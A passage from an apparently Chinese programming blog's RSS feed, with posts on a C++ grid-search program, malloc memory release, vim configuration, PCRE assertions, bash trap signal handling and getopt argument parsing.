i;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mp_y = j;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void PrintMap(bool print_dist = true) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("%4s ", " ");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; m_width; ++i) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf(" &nbsp; &nbsp; &nbsp;(%2d) ", i);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("\n");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; m_height; ++i) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf("(%2d) ", i);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int j = 0; j &lt; m_width; ++j) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (i == m_match_point_x &amp;&amp; j == m_match_point_y) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (print_dist) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf("*%.1f[%2.1f] ", m_nodes[i][j], m_node_dist[std::make_pair(i, j)]);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf(" &nbsp; &nbsp; &nbsp;*%.1f ", m_nodes[i][j]);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (print_dist) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf("%.1f[%2.1f] ", m_nodes[i][j], m_node_dist[std::make_pair(i, j)]);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf(" &nbsp; &nbsp; &nbsp;%.1f ", m_nodes[i][j]);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf("\n");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("\n");</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void Reset() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if (m_nodes) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; m_height; ++i) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; delete [] m_nodes[i];</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; delete [] m_nodes;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; m_nodes = NULL;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; m_width = 0;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; m_height = 0;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; m_match_point_x = 0;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; m_match_point_y = 0;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; m_total_weight = 0;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; m_node_pos.clear();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; m_node_dist.clear();</div><div>&nbsp; &nbsp; }</div><div></div><div>private:</div><div>&nbsp; &nbsp; int m_width;</div><div>&nbsp; &nbsp; int m_height;</div><div>&nbsp; &nbsp; int m_match_point_x;</div><div>&nbsp; &nbsp; int m_match_point_y;</div><div>&nbsp; &nbsp; double m_total_weight;</div><div>&nbsp; &nbsp; double** m_nodes;</div><div>&nbsp; &nbsp; std::map&lt;std::pair&lt;int, int&gt;, double&gt; m_node_pos;</div><div>&nbsp; &nbsp; std::map&lt;std::pair&lt;int, int&gt;, double&gt; m_node_dist;</div><div>};</div><div></div><div>int main(int argc, char* argv[]) {</div><div>&nbsp; &nbsp; int width = 5;</div><div>&nbsp; &nbsp; int height = 5;</div><div>&nbsp; &nbsp; if (argc &gt; 1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; height = atoi(argv[1]);</div><div>&nbsp; &nbsp; }</div><div>&nbsp; &nbsp; if (argc &gt; 2) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; width = atoi(argv[2]);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; MatchPointFinder mpf;</div><div></div><div>&nbsp; &nbsp; //mpf.RandomInit(width, height);</div><div>&nbsp; &nbsp; //mpf.Try();</div><div>&nbsp; &nbsp; //return 0;</div><div></div><div>&nbsp; &nbsp; mpf.ValidateEquivalenceOfTwoMethods(1000);</div><div>&nbsp; &nbsp; return 0;</div><div></div><div>&nbsp; &nbsp; /*</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;( 0) &nbsp; &nbsp; &nbsp; ( 1) &nbsp; &nbsp; &nbsp; ( 2) &nbsp; &nbsp; &nbsp; ( 3) &nbsp; &nbsp; &nbsp; ( 4)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ( 0) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ( 1) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ( 2) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ( 3) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp; &nbsp; &nbsp; * &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ( 4) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1</div><div>&nbsp; &nbsp; */</div><div>&nbsp; &nbsp; mpf.Reset();</div><div>&nbsp; &nbsp; mpf.RandomInit(5, 5, false);</div><div></div><div>&nbsp; &nbsp; mpf.AddNode(0, 0);</div><div>&nbsp; &nbsp; mpf.AddNode(0, 1);</div><div>&nbsp; &nbsp; mpf.AddNode(0, 4);</div><div></div><div>&nbsp; &nbsp; mpf.AddNode(1, 0);</div><div>&nbsp; &nbsp; mpf.AddNode(1, 3);</div><div></div><div>&nbsp; &nbsp; mpf.AddNode(2, 0);</div><div>&nbsp; &nbsp; mpf.AddNode(2, 1);</div><div>&nbsp; &nbsp; mpf.AddNode(2, 3);</div><div></div><div>&nbsp; &nbsp; mpf.AddNode(3, 2);</div><div>&nbsp; &nbsp; mpf.AddNode(3, 3);</div><div></div><div>&nbsp; &nbsp; mpf.AddNode(4, 0);</div><div>&nbsp; &nbsp; mpf.AddNode(4, 1);</div><div>&nbsp; &nbsp; mpf.AddNode(4, 2);</div><div>&nbsp; &nbsp; mpf.AddNode(4, 3);</div><div>&nbsp; &nbsp; mpf.AddNode(4, 4);</div><div></div><div>&nbsp; &nbsp; mpf.Try();</div><div>&nbsp; &nbsp; return 0;</div><div>}</div><img src ="http://www.blogjava.net/bacoo/aggbug/422814.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2015-02-07 20:34 <a href="http://www.blogjava.net/bacoo/archive/2015/02/07/422814.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>G路</title><link>http://www.blogjava.net/bacoo/archive/2015/02/01/422625.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Sun, 01 Feb 2015 04:44:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2015/02/01/422625.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/422625.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2015/02/01/422625.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/422625.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/422625.html</trackback:ping><description><![CDATA[<div>讲清楚了P、NP、NPC、NP-hard的概念：http://blog.csdn.net/dongwq/article/details/4305435</div><img src ="http://www.blogjava.net/bacoo/aggbug/422625.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2015-02-01 12:44 <a href="http://www.blogjava.net/bacoo/archive/2015/02/01/422625.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>调查：map在clear之后并没有释放内存</title><link>http://www.blogjava.net/bacoo/archive/2014/09/18/418059.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 18 Sep 2014 06:26:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2014/09/18/418059.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/418059.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2014/09/18/418059.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/418059.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/418059.html</trackback:ping><description><![CDATA[<div>http://jdoc.iteye.com/blog/1217804</div><div>http://valgrind.org/docs/manual/ms-manual.html</div><div>http://manyhappy163.blog.163.com/blog/static/16447683120105174149969/</div><div>http://hi.baidu.com/algorithms/item/77e5c6bfed350d77244b097f</div><div>经过调查，结论是：</div><div>1。map不能使用swap的方式来强制释放内存；</div><div>2。map用的allocator，新版gcc用new_allocator，不存在pool的问题；</div><div>3。根本原因是free函数（libc内部实现），并没有把你内存真正的释放，这个与free的内部实现机制有关了。</div><div></div><div>下面是一个小的测试程序</div><div>$ cat test_mem_seg.cpp&nbsp;</div><div>#include &lt;vector&gt;</div><div>#include &lt;malloc.h&gt;</div><div>#include &lt;stdio.h&gt;</div><div>#include &lt;iostream&gt;</div><div>#include &lt;stdlib.h&gt;</div><div></div><div>int main(int argc, char* argv[]) {</div><div>&nbsp; &nbsp; std::vector&lt;void*&gt; v;</div><div>&nbsp; &nbsp; int block_len = 120;</div><div>&nbsp; &nbsp; if (argc &gt; 1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; block_len = atoi(argv[1]);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; for (int i = 0; i &lt; 1024 * 1024; ++i) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; char* p = (char*)malloc(block_len);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sprintf(p, "%d", i);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; v.push_back(p);</div><div>&nbsp; &nbsp; }</div><div>&nbsp; &nbsp; std::cout &lt;&lt; "\n===============malloc (block unit size:" &lt;&lt; block_len &lt;&lt; ") ok==============\n";</div><div>&nbsp; &nbsp; malloc_stats();</div><div></div><div>&nbsp; &nbsp; for (int i = 0; i &lt; 1024 * 1024; ++i) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; free(v[i]);</div><div>&nbsp; &nbsp; }</div><div>&nbsp; &nbsp; std::cout &lt;&lt; "\n===============free &nbsp;(block unit size:" &lt;&lt; block_len &lt;&lt; ") ok==============\n";</div><div>&nbsp; &nbsp; malloc_stats();</div><div>}</div><div></div><img src ="http://www.blogjava.net/bacoo/aggbug/418059.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2014-09-18 14:26 <a href="http://www.blogjava.net/bacoo/archive/2014/09/18/418059.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一款非常不错的vim配色</title><link>http://www.blogjava.net/bacoo/archive/2014/04/15/412483.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Tue, 15 Apr 2014 11:13:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2014/04/15/412483.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/412483.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2014/04/15/412483.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/412483.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/412483.html</trackback:ping><description><![CDATA[<div>首先看看这款配色是否喜欢：</div><div>http://vimcolorschemetest.googlecode.com/svn/html/bensday-c.html</div><div></div><div>如果喜欢，现在教你如何在terminal下达到该效果（注意：不是在gvim下）：</div><div>1。add the following line in .bashrc：</div><div>export TERM=xterm-256color<br /><br /><div>2。install CSApprox：</div><div>http://www.vim.org/scripts/script.php?script_id=2390</div><div></div><div>3。install bensday.vim color scheme:</div><div>http://vimcolorschemetest.googlecode.com/svn/colors/bensday.vim<br /><br /><div>4。add following lines to .screenrc(refer: http://robotsrule.us/vim/):</div><div>#attrcolor b ".I"</div><div>#termcapinfo xterm 'Co#256:AB=\E[48;5;%dm:AF=\E38;5;%dm'</div><div>defbce "on"<br /><br /><div>5。modify the guibg value to grey15 of 37th line in bensday.vim as following:</div><div>hi NonText term=bold ctermfg=LightBlue gui=bold guifg=LightBlue guibg=grey15<br /><br /><div>这个页面下有大量的配色方案供你选择（注意：有些打不开，需要用国外代理打开）</div><div>http://vimcolorschemetest.googlecode.com/svn/html/index-c.html</div><div></div><div>这个页面也介绍了几款配色不错的方案：</div><div>http://www.oschina.net/news/32306/10-vim-color-schemes-you-need-to-</div></div></div></div></div><img src ="http://www.blogjava.net/bacoo/aggbug/412483.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2014-04-15 19:13 <a href="http://www.blogjava.net/bacoo/archive/2014/04/15/412483.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PCRE Assertions</title><link>http://www.blogjava.net/bacoo/archive/2013/11/20/406597.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 20 Nov 2013 12:27:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/11/20/406597.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/406597.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/11/20/406597.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/406597.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/406597.html</trackback:ping><description><![CDATA[<div>首先明确几点概念：</div><div>1。断言是一个对当前匹配位置之前或之后的字符的测试；</div><div>2。断言不会实际消耗任何字符； #这一点至关重要</div><div></div><div>通常的用法： (?&lt;=a)b(?=c) #b的前瞻是c，后瞻是a；</div><div>前瞻左置用法：(?=\d)\w+ #\w+需要以\d开始；</div><div>后瞻右置用法：\w+(?&lt;=\d) #\w+需要以\d结束；</div><div>上面三种用法中，我们姑且把b和\w+称为修饰项。</div><div>对于后两种用法，要求 前瞻/后瞻 里用以约束修饰项的字符应当是修饰项的子集，否则就不太合适，例如：</div><div>a(?&lt;=b)永远不可能成立，因为a!=b；</div><div>(?=a)b永远不可能成立，因为a!=b;</div><div></div><div>$ echo 'foobar' | grep -o -P '(?!foo)bar' #它不能用于查找之前出现所有不是 &#8221;foo&#8221; 的 &#8221;bar&#8221; 匹配， 它会查找到任意的 &#8221;bar&#8221; 出现的情况， 因为 (?!foo) 这个断言在接下来三个字符时 &#8221;bar&#8221; 的时候是永远都 TRUE 的(因为foo!=bar)。</div><div>bar</div><div></div><div>$ echo '!abcae20a' | grep -o -P '\w{4,}(?=.*\d)' #0用于支撑后面的前瞻断言</div><div>abcae2</div><div></div><div>$ echo '!abcae20a' | grep -o -P '\w{4,}(?&lt;=\d)' #0不需要拿出来支撑断言</div><div>abcae20</div><div></div><div>$ echo '!abcae20' | grep -o -P '\w{4,}(?&lt;=.*\d)' #后瞻断言必须定长</div><div>grep: lookbehind assertion is not fixed length</div><div></div><div>$ echo '!abcae20' | grep -o -P '(?=.*\d)\w{4,}' #这个前瞻左置断言不定长，而且前瞻过程中没有任何字符约束，也比较诡异，匹配不出结果，最好不要这样写</div><div></div><div>$ echo 'a2 abcae20a' | grep -o -P '(?=.*\d)\w+' #这个前瞻左置断言不定长，而且前瞻过程中没有任何字符约束，也比较诡异，只匹配出部分结果，最好不要这样写</div><div>a2</div><div></div><div>$ echo '!abcae20' | grep -o -P '(?=\w+\d)\w{4,}' #这个前瞻断言虽然不定长，但是里面的字符都在修饰项的范畴内</div><div>abcae20</div><div></div><div>$ echo 'a2 ab!cae20a' | grep -o -P 'a(?=.*\d)\w+' #注意对于第2组结果'ab'，里面并不包含数字，但是其后面有数字20，因此前瞻断言成立</div><div>a2</div><div>ab</div><div>ae20a</div><div></div><div>$ echo '!abcae20' | grep -o -P '.*?(?=.*\d)\w{4,}' #可以用最开始的.*来吸收不属于\w的字符</div><div>!abcae20</div><div></div><div>$ echo '!a21ed0' | grep -o -P '(?=(?:\w*?\d){3,})\w{6,}' #实现了最终想要的功能：一个字符串至少有6个字符，而且至少有3个数字</div><div>a21ed0</div><div></div><div>总结：前瞻断言放在修饰项后面比较容易理解；放在修饰项前面时：主要用于概括性的规定修饰项里包含的内容，因此此时的前瞻断言里允许出现的字符应该都是修饰项里可接受的字符</div><div></div><div>更多详细介绍可以参见：http://www.php.net/manual/zh/reference.pcre.pattern.syntax.php</div><img src ="http://www.blogjava.net/bacoo/aggbug/406597.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-11-20 20:27 <a href="http://www.blogjava.net/bacoo/archive/2013/11/20/406597.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>vim必须的一些配置</title><link>http://www.blogjava.net/bacoo/archive/2013/08/26/403320.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Mon, 26 Aug 2013 08:47:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/08/26/403320.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/403320.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/08/26/403320.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/403320.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/403320.html</trackback:ping><description><![CDATA[<div>set nocompatible<br />set nu</div><div>set expandtab</div><div>set tabstop=4</div><div>set shiftwidth=4</div><div>set cursorline</div><div>set list<br />set hlsearch</div><div>syntax on</div><div></div><div>set listchars=tab:&gt;-,trail:-</div><div>highlight WhitespaceEOL ctermbg=magenta guibg=magenta</div><div>match WhitespaceEOL /\s\+$\|\t/</div><div></div><div>autocmd BufReadPost * if line("'\"") &gt; 0 &amp;&amp; line("'\"") &lt;= line("$") | exe "normal g'\"" | endif</div><div></div><div>inoremap &lt;C-h&gt; &lt;Left&gt;</div><div>inoremap &lt;C-j&gt; &lt;Down&gt;</div><div>inoremap &lt;C-k&gt; &lt;Up&gt;</div><div>inoremap &lt;C-l&gt; &lt;Right&gt;</div><div>inoremap &lt;C-a&gt; &lt;ESC&gt;0i</div><div>inoremap &lt;C-u&gt; &lt;ESC&gt;A</div><div></div><img src ="http://www.blogjava.net/bacoo/aggbug/403320.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-08-26 16:47 <a href="http://www.blogjava.net/bacoo/archive/2013/08/26/403320.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于trap的实验</title><link>http://www.blogjava.net/bacoo/archive/2013/08/14/402802.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 14 Aug 2013 08:08:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/08/14/402802.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/402802.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/08/14/402802.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/402802.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/402802.html</trackback:ping><description><![CDATA[<div>-------------------------------------</div><div>trap 'date' SIGUSR2</div><div></div><div>echo before</div><div>while true; do</div><div>&nbsp; &nbsp; sleep 0.01</div><div>done</div><div>echo after</div><div></div><div>kill -SIGUSR2 XXX #date立即被执行</div><div>kill -SIGUSR2 XXX #date立即被执行</div><div>--------------------------------------</div><div>trap 'date' SIGUSR2</div><div></div><div>echo before</div><div>sleep 10</div><div>echo after</div><div></div><div>kill -SIGUSR2 XXX #date未被执行，直到sleep 10结束后立即被执行，最后再打印出after</div><div>--------------------------------------</div><div>trap 'date' SIGUSR2</div><div></div><div>echo before</div><div>sleep 100 &amp;</div><div>wait</div><div>echo after</div><div></div><div>kill -SIGUSR2 XXX #wait被立即中断（wait的返回码是一个大于128的值），date立即被执行，然后打印出after退出</div><div>--------------------------------------</div><div>shell在执行过程中，在一个命令执行过程中不会执行trap指定的命令，只有在命令执行完之后才会执行trap指定的命令；</div><div>Ctrl+c #给程序发送SIGINT信号</div><div>Ctrl+\ #给程序发送SIGTERM信号</div><div>bash shell会忽略SIGQUIT信号，即：1个shell进程run时发SIGQUIT不会退出；但你自己编译的程序run时收到SIGQUIT是会退出的</div><div>用EXIT来做清理：trap "{ rm -f $tmp_file ; exit 255; }" EXIT</div><div>用ERR来做警告，可以参见：http://blog.csdn.net/sosodream/article/details/5681893和http://blog.csdn.net/sosodream/article/details/5724650</div><div>用DEBUG来做调试，例如来跟踪变量的变化：</div><div>trap "echo tmp_value is being changed." DEBUG</div><div></div><div>bla bla bla</div><div></div><div>declare -t tmp_value=38</div><img src ="http://www.blogjava.net/bacoo/aggbug/402802.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-08-14 16:08 <a href="http://www.blogjava.net/bacoo/archive/2013/08/14/402802.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用gnuplot绘图</title><link>http://www.blogjava.net/bacoo/archive/2013/07/31/402211.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 31 Jul 2013 08:55:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/07/31/402211.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/402211.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/07/31/402211.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/402211.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/402211.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 学习资料：http://www.ibm.com/developerworks/cn/linux/l-gnuplot/index.htmlhttps://www.bbsmax.com/A/Ae5R4pxNzQ/https://xijunlee.github.io/2016/12/24/2016-12-24-you-bi-ge-de-hua-tu-cong-gnuplotshuo-qi/$ cat t...&nbsp;&nbsp;<a href='http://www.blogjava.net/bacoo/archive/2013/07/31/402211.html'>阅读全文</a><img src ="http://www.blogjava.net/bacoo/aggbug/402211.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-07-31 16:55 <a href="http://www.blogjava.net/bacoo/archive/2013/07/31/402211.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>bash使用getopt解析长短参数</title><link>http://www.blogjava.net/bacoo/archive/2013/07/11/401443.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 11 Jul 2013 03:27:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/07/11/401443.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/401443.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/07/11/401443.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/401443.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/401443.html</trackback:ping><description><![CDATA[<div>#!/bin/bash</div><div></div><div># A small example program for using the new getopt(1) program.</div><div># This program will only work with bash(1)</div><div># An similar program using the tcsh(1) script language can be found</div><div># as parse.tcsh</div><div></div><div># Example input and output (from the bash prompt):</div><div># ./option_test.sh -a par1 'another arg' --c-long 'wow!*\?' -cmore -b " very long "</div><div># Option a</div><div># Option c, no argument</div><div># Option c, argument `more'</div><div># Option b, argument ` very long '</div><div># Remaining arguments:</div><div># --&gt; `par1'</div><div># --&gt; `another arg'</div><div># --&gt; `wow!*\?'</div><div></div><div># Note that we use `"$@"' to let each command-line parameter expand to a</div><div># separate word. The quotes around `$@' are essential!</div><div># We need TEMP as the `eval set --' would nuke the return value of getopt.</div><div></div><div>#-o表示短选项，两个冒号表示该选项有一个可选参数，可选参数必须紧贴选项</div><div>#如-carg 而不能是-c arg</div><div>#--long表示长选项</div><div>#"$@"在上面解释过</div><div># -n:出错时的信息</div><div># -- ：举一个例子比较好理解：</div><div>#我们要创建一个名字为 "-f"的目录你会怎么办？</div><div># mkdir -f #不成功，因为-f会被mkdir当作选项来解析，这时就可以使用</div><div># mkdir -- -f 这样-f就不会被作为选项。</div><div></div><div>TEMP=`getopt -o ab:c:: -l a-long,b-long:,c-long:: -n 'option_test.sh' -- "$@"`</div><div></div><div>echo "TEMP:{$TEMP}"</div><div></div><div>if [ $? != 0 ] ; then echo "Terminating..." &gt;&amp;2 ; exit 1 ; fi</div><div></div><div># Note the quotes around `$TEMP': they are essential!</div><div>#set 会重新排列参数的顺序，也就是改变$1,$2...$n的值，这些值在getopt中重新排列过了</div><div>eval set -- "$TEMP" #必须用eval</div><div></div><div>echo "\$#: $#"</div><div>for i in "$@"; do</div><div>&nbsp; &nbsp; echo "{$i}"</div><div>done</div><div></div><div>#经过getopt的处理，下面处理具体选项。</div><div></div><div>while true ; do</div><div>&nbsp; &nbsp; &nbsp; &nbsp; case "$1" in</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -a|--a-long) echo "Option a" ; shift ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 